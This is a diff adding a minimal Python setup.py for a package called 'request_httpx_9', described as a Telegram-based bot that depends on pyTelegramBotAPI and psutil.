@@ -0,0 +1,17 @@
1
+ from setuptools import setup, find_packages
2
+
3
+ setup(
4
+ name="request_httpx_9",
5
+ version="0.0.1",
6
+ author="rahul",
7
+ author_email="aryan@example.com",
8
+ description="A Telegram-based bot",
9
+ long_description=open("README.md", encoding="utf-8").read(),
10
+ long_description_content_type="text/markdown",
11
+ packages=find_packages(),
12
+ install_requires=[
13
+ "pyTelegramBotAPI",
14
+ 'psutil'
15
+ ],
16
+ python_requires=">=3.7",
17
+ )